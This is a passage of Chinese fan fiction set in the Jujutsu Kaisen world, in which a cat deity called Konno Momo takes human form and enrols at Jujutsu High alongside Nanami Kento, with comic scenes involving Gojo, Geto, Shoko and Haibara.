“不了。”今野桃长长地伸了个懒腰,像是一只懒散的猫咪,“我跟忧太约好了,今天要去指导一下他。” 夏油杰的眸光闪烁了一下,笑眯眯地说道:“好吧,那我抱你起床。” 他伸出双臂,轻松地将咒灵之王抱了起来。 她冰凉的肌肤贴在他的颈脖子上,怎么也捂不热。 把早餐吃掉,两人坐上了蝠鲼咒灵,直接飞进了高专。 二号情敌等候已久。不过虽然是二号情敌,但他的威胁性较低,可以放到情敌名单的后面。 “早上好,小桃姐姐。”乙骨忧太跟着伏黑惠一起喊姐姐,“早上好,夏油老师。” 他将今野桃的名字放在夏油杰的前面,谁在他心里更重要一目了然。 男生身后的咒灵也扭曲着影子出现,声音拉得又长又甜。 “早上……好!桃……姐姐!”并没有咒灵之王那么有智慧的诅咒女王恨不得扑到今野桃的身上,活像是吸猫上头的人类。 夏油杰眯了眯眼,暗自冷哼一声。 “早上好哦,忧太,里香。”今野桃摸了摸里香,对乙骨忧太说道,“走吧,我们去操场。” 夏油杰下意识地跟了两步,乙骨忧太回头,偏弱气的脸上浮现出一个有点腼腆的笑:“好的,那夏油老师再见。” “杰早上还有课吧,不要迟到了哦。” 夏油杰:…… 她一定听见了他对伏黑惠说的话,所以故意这么说的。 还能怎么办,只能忍气吞声了。 不过……夏油杰环 住她的肩膀,低头在她的脸上落下了一个轻吻。 “好的,有事随时喊我。”他故意放低了一点高度,用略微向上的角度仰视她,让眼睛显得更大更圆,更加无辜,“注意安全。” 话音未落,他抬手,召唤出一个咒灵挡住了诅咒女王的拳头。 “放开……桃姐姐!”尖利的声音几乎要刺破耳膜,但夏油杰丝毫不为所动。乙骨忧太像是忽然失明,看不见里香对老师动手。 今野桃咳了连声,拉住里香说道:“好了。” 里香绕着她转了两圈,乖巧地不说话了。 今野桃侧过头,在夏油杰的脸上敷衍地啄了一下,当做安抚。 ……哎呀,不得不说,夏油杰的脸是真的好好看。 拿到恋人的亲亲,夏油杰勉强维系住脸上的笑容,走进了教室。一进门,就看见三号情敌,那个粉毛小子,竟然不同老师打招呼,而是一个劲地往他身后看。 “夏油老师,小桃姐姐呢?”他东张西望道。 “她当然是去上课了。”当然,是看心情上课,没有人能指挥得了她。夏油杰把课本摊开,放在桌上,漫不经心地说道:“怎么,你觉得教室太空了?” “那倒不是。”虎杖悠仁摸了摸后脑勺,嘿嘿笑道,“因为小桃姐姐看起来跟我们一样大,所以总是忘记她也是老师呢。” “鲑鱼。”狗卷棘赞同地说道。 一个十字出现在了夏油杰的额头上。他的眉毛抖了抖,啪地一声,把书合上了。 “走吧,今天这节课改为室外训练。”他扬起嘴角,笑盈盈地说道。 “诶?怎么突然改成室外训练了?”虎杖悠仁懵懵懂懂地被拉到了操场。 不过他很快就高兴起来了,毕竟指导训练的人可是特级咒术师夏油杰诶! 度过了心累的一上午,中午吃饭的时候,五条悟回来了。 “哟,杰。”他朝好友打招呼道,“小桃呢?” “……”怎么每个人见到他的第一句话都是这个?夏油杰扶额回道,“在指点乙骨。” “噢噢。”五条悟若有所地摸了摸下巴,“乙骨现在确实越来越出色了呢。” 他看了一眼好友,把肚子里的话咽了下去。 其实,他真的很好奇是不是想要变强,就得付出些什么。 “当初他入学的时候,可是把好多人都吓了一跳。”那些人都以为第二个夏油杰出现了。 幸好幸好,诅咒女王是可控的。 “别乱说,我们里香可乖了。”今野桃从远处走了过来,里香伏在她的肩头,乙骨忧太跟在后面。 “乖……乖的……”里香咕哝着。 “哟,小桃,你来得正好。”五条悟朝她挥了挥手,“帮我看个学生。” 大家这才注意到,有个怯怯的人影站在五条悟的身后,借他高大的身影挡住自己。 “他是?” “吉野顺平,是我在路上捡到的。”五条悟扶了一下眼镜说道,“他应该是有术式,但不知道为什么用不出来。” “我看看。” 模样可爱的女生靠近的时候不会引起过分的警惕,不像两个老师,好像一拳就能把自己锤到地底。吉野顺平略有些腼腆地低下了头,努力克制住心中的不安与惶恐。 确实有些奇怪,今野桃检查了一番后,顺手给他觉醒了一下术式。 “行了。” 无比棘手的问题到她这里被轻松解决,吉野顺平茫然地抬头,感激地对她笑了笑。 外表清秀的男生头上有几个难看的疤痕,不像是意外造成的。今野桃伸出手,在上面抹了一下,就像是用扫把扫掉了垃圾。 吉野顺平愣了一下,抬手摸了摸,那里已经光滑一片。他猛地瞪大了眼睛,清凌凌的目光倒映着女生的面容。 “不用谢。”她对他弯了弯眼睛。 一瞬间,吉野顺平的脸红了,从脸颊一直红到了脖子。 好、好可爱……还是头一回,有女孩子对他这样笑呢…… 夏油杰闭了闭眼。 情敌名单+1…… 站在咒术高专的门口,七海建人深吸了一口气,非常郑重地对身边的女孩说道: “听我说,小桃,你现在是人类,知道吗?” 女孩眨了眨眼睛,乖巧点头。 “好,重复一遍,人类应该怎么做?” “每天要吃三顿饭,不能偷偷吃生肉,不能突然在地上打滚,不能用口水洗脸……” 女孩掰着手指一个个数过去。 七海建人重重点头,补充道:“最重要的,是绝对不能在有人的地方脱衣服,记住了吗?” “记住啦!”女孩笑嘻嘻地回答。 第77章 一切都要从七海建人遇到了一只猫说起。 刚刚跟着祖父从国外回到日本,他有很多不习惯的地方。口音、外貌、举止……因为跟其他人不太一样,七海建人很明显地感觉到自己被排挤了。 不过也无所谓吧,反正他很小的时候就意识到,自己跟其他人是不一样的。 ——他能看见旁人看不见的东西。 那些像鬼魂一样的可怕怪物,每次路过的时候,他都会垂下眼假装没看见。因为经验告诉他,一旦它们发现他能看见,就会不断地追逐他。 他已经多次因为在大街上狂奔而被责骂了。不管是突然地掉头就跑,还是对着空气胡乱挥舞手臂,在外人眼里,一定都非常奇怪。 这些东西,真的给他的生活造成了很大的麻烦。 比如现在……黑色的泥巴在街道上翻滚,堵住了唯一的出口。那些看不见的人无知无觉地来回穿梭,但他做不到。 只是靠近,他都仿佛闻到了一股臭味,更别说沾染上了。就算没有洁癖,他也绝不允许自己从泥巴里走过去。 只能绕路了。 七海建人回头张望,折返加上绕路,他要多花半个小时才能回家,到时候一定又会被骂的。 叹了口气,他终究还是打算转身离开。 被骂总好过丢了性命。 “喵——” 就在这时,他听见了一声软软的猫叫。一只通体都是黑色的小猫大摇大摆地朝着那东西走了过去。 七海建人呼吸一窒。 话说……猫能看见它吗?它会不会伤害猫咪? 细长的尾巴在身后甩了一下,黑猫踩在了泥巴上。七海建人竟然从猫咪的脸上看见了很人性化的表情——嫌弃。 它亮出了爪子,像是撕开一张纸那样,将泥巴撕成了两半,那怪物化作了灰烬消散,随后它若无其事地穿了过去。 它跳到了旁边的围墙上,回头看了他一眼。 七海建人确定它是在看他,那双黑色的玻璃似的眼珠里,清晰地映出他的面容。 “喵~”它朝他叫了一声,尾巴又甩了甩,尖尖处弯成了小钩子。 是在叫他过去吗? 七海建人踯躅几秒,犹豫地跟了上去,站在了猫咪的面前。 “呃,谢谢?”他轻声说道,“帮大忙了。” 现在是2006年,由吉卜力工作室制作的动画《猫的报恩》在2002年上映,可谓是火遍全国,七海建人自然也看过。 但是,动画片就是动画片,猫怎么会说话呢,是吧…… “不客气哟喵。” “……” 他一定是幻听了。 七海建人僵着脸想。 也可能是因为自己昨天晚上熬夜了……年纪轻轻的,怎么就幻听了呢? 但猫咪没有继续跟他说话的意思,轻巧地从这边的墙头跳到另一边去了。 夕阳的橘色光芒落在他的身上,但他忍不住打了个哆嗦。 这个时刻,大家把她叫做“逢魔之时”,是最容易见到奇怪东西的时刻。 所以,那只猫咪……不会也是…… “哦,你说小桃大人啊。”妈妈竟然给了他一个很明确的答案,“小桃大人是不一 样的哦。” “小桃……大人?”七海建人的额头冒出一个问号,“是它的名字吗?” “嗯哼,对哦。”妈妈把盘子端到了桌上,笑眯眯地对他说,“你是被小桃大人照顾了吗?小桃大人是我见过最有灵性的猫咪呢,之前邻居家的小孩子差点被拐走,都是小桃大人把坏人赶跑的。” 听起来果然是一只好猫咪啊。 “我们这片小区能这么安宁,一定也有小桃大人的功劳吧!”妈妈这么坚信着。 七海建人想到猫咪能手撕怪物,不由赞同地点头。 说不好,那只猫咪真的有在保护大家。 “要来信仰小桃大人吗?”妈妈突然开口道。 “什么?”七海建人愣了一下。 信、信仰? 妈妈捂着嘴笑了起来:“哎呀,就是猫猫教嘛,加入猫猫教,可以得到小桃大人的庇佑哦。” “……谢谢,还是不用了。”他木着脸回答。 不过虽然没打算加入猫猫教,但七海建人也想成为这样可靠的存在,能够帮助大家,保护家人…… 砰! 重重摔倒在地,七海建人连滚带爬地起身,朝着公园深处跑去。 “跟我……玩……”长着好几个脑袋、好几双手的怪物追在他的身后,已经追了他三条街了。 胸口剧烈起伏,疼痛从心脏的位置蔓延开来。汗水从额头上滑落,几乎令他睁不开眼睛。 “不跟我玩……为什么不跟我玩……”狰狞的手臂差点抓住他的衣服,怪物还在扭动身体,“不跟我玩……就去死好了!” 谁要跟你这样的东西玩啊! 七海建人再一次往前扑倒,随后就地一滚,避开了它的攻击。 怎么办,这次该怎么办?他的目光落在了公园的湖里。 他是会游泳的,但他不确定这个怪物会不会。如果不会的话,那他能不能从水里逃走? 给他思考的时间不多了,七海建人深吸了一口气…… “喵嗷!” 凶狠的猫叫声从后面传来,三道雪白的光闪过,七海建人瞪大了眼睛,看着怪物的胸口处伸出来一只爪子。 他忽然想起宝可梦里喵喵的绝技——疯狂乱抓。 怪物发出哀嚎声,随后轰然倒地,化作灰烬。 七海建人听见自己的心跳如雷,他脱力地躺在地上,整个人呈大字张开。 得救了……小桃大人名不虚传。 “你还好吧喵?”猫咪舔了舔爪子,随后优雅地朝他走了过来,长尾一甩,垫在了前爪下面,坐姿端庄。 “谢谢你,小桃大人。”七海建人真心实意地说道,“又被你救了啊。” “嗯哼,被本猫救不是很正常的事情吗喵。”小桃大人不以为意地说道,“不过,七海家的小子,你竟然拥有着咒力呢。” “咒力是什么?”茫然的七海建人终于解开了一直以来的疑惑。 原来他不是个异类,也有像他一样的人。 不过,怪物是咒灵的话,那小桃大人又是什么呢? 仿佛看出了他的疑惑,小桃大人抬了抬尖尖的下巴,傲然说道:“我当然是猫猫神啦喵!” 被大家所信任的、所崇拜的、无所不能的猫猫神大人! 七海建人信了。 他恭敬地表示自己要用全部的零花钱供奉它,不知道猫猫神大人愿不愿意。 猫猫神的胡须都要翘起来了,语气还保持着矜持:“既然是你的请求,那我就答应了喵。” 七海建人脱下了外套,把猫猫神大人装了进去,抱在怀里。 猫咪的体温比较高,暖融融的感觉从接触到的地方流淌到了全身,让他的脚步也变得轻快了。 他就这样将周边地区最厉害的猫猫神捡走了。 或者说,是猫猫神大人纡尊降贵地来到了他的家里。 这一留,就是一年。 初中毕业那年,他见到了来自东京都立咒术高专的夜蛾正道。可能是整个高专最兢兢业业的夜蛾正道发现了七海建人的不寻常之处,想要邀请他进入高专就读。 七海建人犹豫了一段时间,决定答应。 “就像是《哈利波特》里写的一样,霍格沃兹是每个巫师的圣地。”他怀抱着期待说道,“而咒术高专也是培养咒术师的地方,说不定我会在那里遇到相处得来的好友。” 好友啊…… 猫咪打了个哈欠,露出尖尖的牙齿。 “那我呢喵?”它问道。 七海建人愣了一下,是啊,是他把小桃大人带回来的,但现在却要离开了。 “抱歉,小桃大人,我会在放假的时候回来的。”他承诺道,“还有休息日,能回来我一定回来。” “不要。”猫咪拒绝了,“我要跟你一起去。” 七海建人张着嘴巴,欲言又止半天,才喃喃道:“那我要打个电话问一下夜蛾老师,高专能不能带动物……不过小桃大人真的没问题吗?您又不是真的动物,咒术师会伤害您吗?” “哼哼,所以我变成。人就行啦!”猫猫神这么宣布。 根本没有反对的时间,伴随着一阵白光,陪伴了他一年之久的小猫咪化作了人类。 但七海建人来不及感动,他捂着脸发出了这辈子最崩溃的尖叫—— “衣服!把衣服穿上!!” 第78章 七海建人从没想过,自己有一天要教一只小猫咪如何做人。 尤其是……她还是一只性格恶劣的小猫咪。 “衣服?为什么要穿衣服?”故意赤身果体的小猫裹着一条床单,漫不经心地坐在榻榻米上,只要稍微动一动,就会露出底下的风光,“穿衣服好累诶喵。” 七海建人看着天花板,连余光都不敢乱瞥。 “人类……人类都是要穿衣服的啊!”他小声说道,连敬语都忘了加,“你在外面不也能看见吗,根本没有人会不穿衣服走来走去!你这样做,万一被抓到警察局去了怎么办!” “好吧。”猫咪从善如流地接受了自己必须入乡随俗,不能在大街上果奔。 但不等七海建人松一口气,她又朝他张开了双手:“你帮我穿吧喵。” 什……什么?他、他帮她穿衣服?!! 不不不,不管怎么样,这是绝对不行的吧! “你、你自己穿啊!” 他的目光闪烁得厉害,耳尖烧得通红,像是用颜料在他的身上到处乱抹,一路延伸到了脖子下面。 七海建人能够感觉到她在看他,他的背脊挺得笔直,手指攥紧又放开,连关节处都在泛白。 “可是我不会穿诶喵。”猫咪为难地看着面前七海建人翻出来的T恤衫和运动裤,“我又没穿过衣服。” 她说得理直气壮,好像七海建人不来帮她就是做了什么罪大恶极的事情。 七海建人深深地吸了一口气。 他用迅雷不及掩耳之势的速度……把自己脱光了,只穿一条短裤。 “我穿给你看,”他咬牙说道,“很简单的,你看一眼就会了!” 猫猫神:“……” 好没意思。而且,他真的一点都不怀疑她诶。 猫猫神有些意兴阑珊了。 把衣服换好,七海建人由衷地松了一口气。万事开头难,接下来应该就没问题了吧…… 幸亏妈妈上班去了,家里只有他一个人,不然真的会露馅。 “接下来做什么呢,娜娜喵。”她理直气壮地问道。 “是七海,不是娜娜喵。”七海建人顺从地起身,“你饿了吗?我去给你做点吃的。” 猫猫神大人很少在家里吃东西,供奉的时候,大多也是水果蔬菜,各种点心。 七海建人问道:“要吃什么呢?” “肉。”猫咪果断回答。 这是当然的吧,猫咪可是纯肉食动物啊。 他把冷冻层的牛肉拿出来,决定简单地煎一下。毕竟他也不会做日式料理。 就在他全神贯注做饭的时候,身后的冰箱又响了一下。七海建人回头,恰好看见她张开嘴要吞下鸡蛋的样子。 “等等!”他失声喊道,“那个不能吃!” 他劈手夺过鸡蛋,一本正经地说道:“它是生的!不能吃,吃了会坏肚子!” “哦。”猫咪若无其事地收回了手,随后倒打一耙,“都怪娜娜米啦喵,做饭太慢了,我都饿了。” ……好难办。 感觉今天叹的气比以前加起来还要多。 简单解决了午饭,七海建人看着猫咪身上不合身的服装,踯 躅片刻说道:“要买衣服吗?去读书的话,衣服是必需品吧。” 但是不能就这样把她带出去,被周围邻居看到的话,可不知道会传出什么样的流言! “小桃大人,你可以变回去吗?”他问道,“或者你在家里等我,我出去给你买两套衣服。” 七海建人已经可以想象未来自己是如何躲躲藏藏给猫猫神大人洗衣服又晒衣服的了。 万幸的是,距离开学还有一周时间。 猫咪歪着头看他,几秒钟后,衣服掉在地上,凌乱堆叠的布料中,爬出了一只纯黑的猫。 它轻轻一蹬地,落在了七海建人的肩膀上。 “出发吧喵。”猫咪把自己盘在他的颈间,毛绒绒的触感有些痒痒的。 七海建人站在女装店前,鼓起平生最大的勇气,走了进去。 “欢迎光临。”店员看见是一个小孩子也不怠慢,而是笑眯眯地问道,“是要给妈妈还是姐姐买衣服呢?” “……姐姐。”他小声说道。 小桃大人化作人后,看上去比他要大。 “那姐姐的话,平时是什么风格呢?喜欢可爱型还是淑女型?”店员熟练的开口,“她的身高体重是多少呢?” 七海建人沉默了。 他看向猫咪,对方张大了嘴巴打了个哈欠,惬意地晃了晃尾巴,好像自己只是一只什么都不知道的小猫。 对上七海建人的视线,它黑色琉璃似的眼眸中有明显的笑意。 要让她开口吗?确定不会吓到别人? 他抿了抿嘴,伸出手开始比划。 “大概这么高,不胖不瘦,风格的话,日常就行,我们还是学生。” 店员了解了,拿了两套衣服。七海建人用看似抚摸的动作戳了戳猫咪,无声询问:喜欢吗? 猫咪可有可无地点头。 七海建人心中一松。 “就这个,麻烦包起来。” 店员装袋的时候,猫咪用极细微的音量说道:“还有内衣哦喵。” ……什么? 七海建人表情呆滞。 店员将袋子递给他,却见少年久久没有动作。 “还需要什么吗?”她热情询问。 吐出的灵魂被收了回来,仿佛人生都得到了升华。少年抹了把脸,面无表情地说道:“请给我两套内衣。” 店员默了默,随后泰然自若地拿了两套内衣给他,嘴上还夸道:“你可真是一个贴心的弟弟呢。” 七海建人把衣服塞进了袋子的最底下。 走出女装店,他长长地吐出了一口气。 猫咪侧过头,看见男孩红得快要滴血的耳垂。 他的肤色偏白,这点红如雪山梅花般显眼。 “太失礼了……”他呢喃道。 可惜人的底线就是用来打破的,并且越来越低。 “我们回去吧。”七海建人疲倦说道。 总感觉,被猫猫神大人戏弄了…… 忽地,有什么湿润的东西滑过他的耳廓。有些痒,有些刺。 七海建人猛地后仰,金发飘动,像是炸毛小猫。 他的动作太快,反应太激烈,让猫咪都愣了一下。 于是,他看见了一截粉色的舌尖。 第79章 “你……你刚刚做了什么?”七海建人结结巴巴地开口道。 猫咪一副“人类就是大惊小怪”的样子,懒得搭理他:“走走走,回去试一试新衣服!” 七海建人想了半天,还是放弃了。猫咪喜欢舔人……是很正常的事情吧?这应该是表达喜爱的一种方式。 回到了家,确认从外表上看不出什么端倪,七海建人打了个电话给夜蛾正道,告诉他自己有一个好朋友也拥有术式,不知道可不可以入学。 夜蛾正道哪里有不应的道理,闻言直接开车过来,就为了见一见这个新生。 他看见新生的第一反应就是——漂亮。 这个女生,长得太漂亮了。不是温婉美丽,也不是娇俏可爱,她的五官精致得有些超乎寻常了,有一种不似真人的感觉。 七海建人显然非常在意她,夜蛾正道注意到,他的目光始终落在她的身上,就算移开了视线,余光也牢牢锁定着她。 “东京都立咒术高专欢迎每一个想要入学的孩子。不过在此之前,我有几个问题想问一下你。”夜蛾正道严肃地说道。 “当然的喵。”女孩满不在乎地点头。 奇怪的口癖。 不过没关系,这在咒术师里叫做有个性。 “你知道自己的术式是什么吗?就是你的特殊能力。”他问道。 七海建人心中一动,他也很好奇。不过猫猫神的话,能力一定会很强吧? 女生卡了一下,好像有点苦恼。好半天才回道:“术式啊……有求必应算吗喵?” 夜蛾正道的脑门上冒出了一个问号。 “就是说,如果向我许愿的话喵,只要意念足够强大,我就能实现你的愿望哦。”女生趴在了七海建人的肩膀上,两人之间显得有些过分亲密了,“当初第二次见面的时候,就是因为娜娜米心中在呼唤希望有人救救自己,所以我才能英雄救美的哦喵。” 夜蛾正道:并没有想知道这个。 “好吧,我了解了。”他在本子上记了几行字,“那到时候你就跟七海一起过来,其他的我会安排好。” “好耶!我能和娜娜米一起上学啦喵!”女生欢呼一声,在七海建人的手臂上蹭了蹭脸颊。 ……他们是那种关系吗?原来如此。 夜蛾正道悟了。 也罢,反正高专也不禁止早恋。年轻人啊…… 他的心中感慨万千,但面上仍然严肃乃至于严厉。 虽然夜蛾正道什么都没说,但七海建人还是隐约猜到了。他极力维持着表情的镇定,其实心中已经决定等老师离开后要好好提醒一下猫猫神关于保持距离的常识了。 “喵?”可惜猫咪很不耐烦听这个,她挠了挠耳朵,漫不经心地说道,“可是我只会对娜娜米这样做嘛。” 骗人。 明明早上妈妈出门的时候,她也这样蹭了一下妈妈。 七海建人心中说道。 可是为什么心里会有一种轻飘飘的感觉呢?连嘴角都不自觉地扬了起来。 猫猫神大发慈悲,没有在家变成人形,也避免了七海建人手洗内衣的尴尬场景。 话说回来,他完全没有考虑过让猫咪自己洗衣服啊,毕竟伟大的猫猫神怎么能做这种事情呢。 拎着行李箱,七海建人和爸爸妈妈在山脚下告别。 妈妈欲言又止,好似有很多话想说。七海建人内心感动,知道妈妈舍不得自己。 “建人啊……”妈妈叹气,“你一定要……” 好好照顾自己是吗?他肯定会的,他已经是个高中生了…… “……好好照顾小桃大人,知道吗?” “……”七海建人的嘴唇抿了抿,“知 道了。” 妈妈抹了抹眼睛,心酸地说道:“为什么猫猫神大人会更喜欢你呢?还要跟着你一起去上学,明明供奉得更多的是我呀……”、 妈妈觉得自己被猫猫神大人抛弃了。 “咪~”猫猫神大人对妈妈拉长了声音,软绵绵地叫了一声。 妈妈的脸上顿时露出了幸福的模样。 “毕竟是山里,小桃大人或许会更喜欢这样的环境吧。”妈妈摸了摸猫咪油光水滑的毛发,“如果建人对你不好,小桃大人可以给我打电话哦,我们会来接你哒。” 猫咪对她眨了眨圆溜溜的眼睛:“咪~” 妈妈看懂了,这是猫咪在对她表达喜爱。她露出了一双水汪汪的蛋花眼,朝着儿子挥手告别,那不舍的眼泪也不知道是为谁而流。 七海建人背着包,拎着行李箱,扛着猫咪走上了山路。 走到一半,猫咪跳下来,叼着衣服隐没在树林里,摇身一变,化作了可爱的女孩子。 她钻出来的时候,当真有了精怪变人、引诱无辜路人的感觉。 七海建人给她整理了一下衣领和衣摆,忽然想到了一件事。 “小桃大人。”他犹豫了一下说道,“我能改一个称呼吗?在学校里称呼小桃大人的话,有点奇怪,我也担心会暴露你的身份。” “好的喵。”猫猫神大人并不在乎一个称呼,“你叫我小桃就行了。” “小桃……”七海建人不太习惯地喊道。 他清了清嗓子,开始严肃叮嘱她。 “小桃,现在开始,你是人类,知道吗?” 他真的很担心她被咒术师发现然后抓走,就算她点头答应也不能消除这种担忧。 “重复一遍,人类应该怎么做?”他唠唠叨叨地问。 “每天要吃三顿饭(因为她经常好几天不吃东西),不能偷偷吃生肉(因为好奇心太强什么都敢吃),不能突然在地上打滚,不能用口水洗脸(这些都是猫咪习性)……” 七海建人注视着她姣好的面容,加重了语气:“还有,绝对不能在有人的地方脱衣服,记住了吗?” “嗯嗯记住啦喵。”她笑嘻嘻地说道,“在娜娜米面前可以吗?” “我也不行!!” 猫咪吐了吐舌头,抬头看了一下漫长的山道,撇了撇嘴,朝着他张开了手。 “抱我喵。”她才不愿意走上去。 七海建人深深地叹了口气,她看起来比他大一点,抱起来的话就太奇怪了。 他把背包脱下,堆在行李箱上,在她的面前蹲下。 “我背你吧。”他妥协道。 猫咪一下扑到了他的背上,幸好体重没有变化,他还能背得动。 颠了颠,调整了一下姿势,七海建人一只手拖着行李箱,一只手托着她,艰难地朝山上走去。 猫咪悠闲地晃着脚,把玩着他的金发。 这一幕落在了迎新的学长和学姐眼中。 “哇,见过自带行李的,自带干粮的,还是第一次见到自带女朋友的呢。”白发学长如是感慨,“学弟看起来好累哦。” 黑发学长笑眯眯地说道:“你不懂,悟,这叫甜蜜的烦恼。” 茶发学姐哈哈一笑:“两个单身狗还讨论起来了。” 暴击。 校门口一片死寂。 “得想个办法排挤学弟。”白发学长幽幽说道。 “很有道理。”黑发学长赞同地点头。 第80章 “哟,学弟。”两个学长非常友好地朝金发学弟打招呼。 七海建人没想到在校门口就会遇到人,脸一红,蹲下把猫咪放下来,一本正经地说道:“学长好。” 是他的错觉吗?总觉得这两个学长怪怪的。 猫咪看了他们一眼,随意地点头道:“你们好喵。” “噗。”白发学长笑出了声,“好奇怪的口癖啊。是小猫咪吗?” “话说学妹看起来确实很像小猫咪呢。”黑发学长和他一唱一和,看着就让人火大。 说好听点,他们的态度是亲近,说不好听点就是轻佻。七海建人皱了皱眉,开口道:“学长有事吗?” “没事哦,就是来迎接你们呢。感动吗?”白发学长的手搭在旁边人的身上,“自我介绍一下,我叫五条悟。” 旁边人无奈笑道:“我叫夏油杰。” “家入硝子,随便你们怎么喊。” “五条学长,夏油学长,家入学姐。”七海建人打起精神回道,“我叫七海建人,她叫……” 直接说小桃? 那也太亲密了。他们可是第一次见面…… “今野桃。”猫咪说道,“你可以叫我……” “小桃!”一句“momo酱”叫得大家都沉默了。七海建人不自觉地握紧了拳,唇线抿得笔直。 夏油杰扶额,悟未免太没距离感了吧。 “小桃别介意,反正以后大家也是同学。”他温温柔柔地说道。 他也没表现得多客气。 家入硝子斜睨他,犹记得当初夏油也是个懂礼貌的好孩子,短短一年时间,就被五条带坏了。 可惜他们没礼貌,猫猫比他们更没礼貌。 今野桃的鼻子里哼了一声,对七海建人说道:“我们走吧。” 七海建人二话不说地跟上了,连问都没问。 三人就看着他们走进了学校,朝着老师办公室而去。 五条悟沉默两秒,扭头问道:“她不会去找夜蛾正道告状吧?” 家入硝子意料之中地说:“被讨厌了呢。” “要好好道歉啊。”夏油杰叹气,但怎么听怎么虚假。 纯情DK们道歉和排挤的方法都是一样的——拉学弟一起打游戏。 四排的《大富翁》! “太好了!我都跟杰玩腻了!”五条悟欢呼一声,把经典游戏拉出来,“这次我们可以四个人一起玩了!” 另一个新生模样乖巧地坐在七海建人身边。 灰原雄:OVO 他的眼睛又大又亮,看起来有一种清澈的愚蠢。 “哇,我好久没玩这个游戏了诶。”灰原雄对七海建人说道,“都忘记怎么玩了。” 那就好,因为他根本就没玩过…… 七海建人松了一口气。 ……他这口气松早了。 “芜湖!”五条悟吹了个口哨,“恭喜娜娜米破产!” “这是第四次了吧?”夏油杰叹道,“果然还是不熟悉规则吗?” “没关系的!下一次,下一次一定可以赢!”灰原雄看起来比输掉的七海建人还要激动。 七海建人沉默地放下手柄,金色的头发都黯淡了许多。 “还来吗?”夏油杰问道,手上却已经开了一把新的。 “来吧来吧,反正时间还早呢。”五条悟咬着pocky,含糊不清地说道。 灰原雄担忧地看向同期,对方又把手柄拿起来了。 都是少年人,谁没有一点好胜心呢。 “来吧。”他沉稳开口。 赢一把就去睡觉…… 天亮了。 新的一天开始了…… 一年级和二年级在学校食堂里相遇。 家入硝子吓了一跳:“你们昨天晚上集体做贼去了吗?!” 一个两个,黑眼圈都快掉到嘴角了。眼睛里全都是血丝,脸色苍白,目光呆滞。坐在椅子上就往后瘫,活像是被抽掉了骨头似的。 “硝子……”五条悟喃喃道,脑袋一抽一抽地疼,“帮帮忙……” “不要。”家入硝子非常果断地拒绝,“才不会因为这个就帮你们。不爱惜身体的人不值得怜悯。” “呜呜……” 今野桃担心地凑过来,用手指戳了戳七海建人的脸蛋,说道:“你怎么了喵?” 七海建人咳了两声,回道:“没事。” 今野桃用怀疑的目光打量着两个恶劣学长。 自家小孩这么乖,一定是有人带坏了他! 看在可怜的男生们确实动不了,家入硝子带着最后的同情心,给他们拿了三份早餐。今野桃把温热的牛奶放在七海建人的头 上,摸了摸他的脸颊。 “抱歉。”七海建人接过牛奶,低声说道。 他有些愧疚,刚刚入学第一天,自己就好像开始堕落了,这跟他想象中的高中生活不太一样。 “咦,为什么要道歉?我知道,绝对不是娜娜米的错喵。”今野桃振振有词地说道。 “哇,你一定是在指桑骂槐吧!”五条悟大声指责道,“你这只坏心眼的猫!” 今野桃忽略了他的话。不能接话,接了话就会黏上一只甩不掉的牛皮糖。 “你今天还能上课吗?要不然给老师请个假吧喵?”她揉了揉七海建人的眉心。那里紧紧蹙着,拱起了一小块。 七海建人立刻回道:“不用的。” 一共才三个学生,还是第一天上课,他就敢请假,百分之百会在老师的心里留下不好的印象!他可从来没有做过这样的事情!就算不能成为优等生,但也不能成为不良学生啊! 他勉强支撑起身体,通宵熬夜打游戏不仅消耗了他的体力,也将他的精力一并消耗殆尽了。 “我吃点东西就好了。”他抖着手说道。 今野桃叹了口气。 太拼了。 她轻柔地托住了七海建人的下巴,一点一点地凑近了。 在众人呆滞的目光下,她伸出舌尖,在男生的脸上舔了一口。舌尖如蜻蜓点水般一触即分,留下了一道水痕。 肉眼可见的,七海建人的脸红了。仿佛有一股无形的能量注入到了他的体内,让他精神大振。他的眼睛也不花了,嘴唇也不白了。好像一口气能打八个咒灵! “好点了吗喵?”她歪着头问道。 喉结上下滚了滚,七海建人的声音有点颤抖:“好、好了……” 今野桃满意地退了回去,若无其事地吃起了早点。 五条悟:“……” 夏油杰:“……” “呕……”五条悟发出了不雅的声音,“好恶心啊……” “不行了,胃好难受。”夏油杰仰头按住脑门,“感觉有点撑,又有点想吐。” “嗯?学长不吃了吗?那我吃掉了哦。”灰原雄呆萌地眨了眨眼,高中生的胃比黑洞还要大,区区一人份早餐,不过尔尔。 家入硝子憋不住笑了,对两人竖起大拇指:“纯爱!这就是纯爱!” 80-90 第81章 高中生活终于艰难地步入了正轨,至少在七海建人看来是这样的。 虽然学习的课程内容很奇怪,同学很少,但他交到了要好的朋友,有着可靠的老师,以及处于可薛定谔状态靠的学长。 对了,他还有猫。 谁听了能不羡慕。 就算这只猫一拳能打死十个他,那也是猫! 括号,西伯利亚金渐层也算猫! 只是简单热个身,七海建人和灰原雄就已经倒在地上,再起不能了。 负责他们的班主任姓野原,是一个看起来平平无奇的中年男人。不过作为二级咒术师,他也确实没有什么特别值得称赞的功绩。 但他作为一个老师足够认真负责。 “小桃,你过来一下。”他朝着操场上唯一站着的人说道。 “怎么了喵?”女孩悠悠地走过来。 野原叹了口气,把一份资料递过去,说道:“你带着这个去一趟办公室,交给夜蛾老师。” “好的喵。”女孩点点头,单手插兜离开了。 野原收回望着她背影的目光,转而怒瞪操场上还趴着的两人,骂骂咧咧道:“还不快起来!太不像话了!加练!必须加练!” 七海建人和灰原雄互相支撑着,从地上爬了起来,一点一点慢慢挪动。 “太可怕了……”灰原雄喃喃道,“小桃该不会是什么披着人皮的特级咒灵吧?!” 七海建人默了默,移开视线:“别乱说,怎么可能。” “也对,感觉小桃比特级咒灵还要可怕啊哈哈……” 另一边,今野桃敲响了办公室的门,得到许可后推门而入。 “夜蛾老师,野原老师让我把这个给你喵。” 夜蛾正道抬头,接过资料,快速地扫了一眼,心中有数了。 “小桃,先跟你说一件事。”他放下这沓纸,双手交叉,支在桌上,“我对你报给我的术式进行了简单的改动。说实话,‘有求必应’,说出来还挺吓人的。” “那改成了什么呢喵?” “改成了‘想要变强的意志越强,实力就会变得越强’。也不算说谎,只是对你的能力进行了细化。”夜蛾正道严肃地说道,“希望你能理解。” 还没长成的好苗子不能提前经历风吹雨打,夜蛾正道现在还对上层瞒着夏油杰的术式呢,他们都以为他只是一个普通的式神使,却不知道他是无上限的咒灵操使。 他准备等到三年级他们申请特级的时候再逐渐宣布这个消息。 “没关系的喵。”今野桃不以为意,“还有什么事吗?” “还有就是……”夜蛾正道顿了顿,“你有考虑插班到二年级吗?” 今野桃微微挑眉。 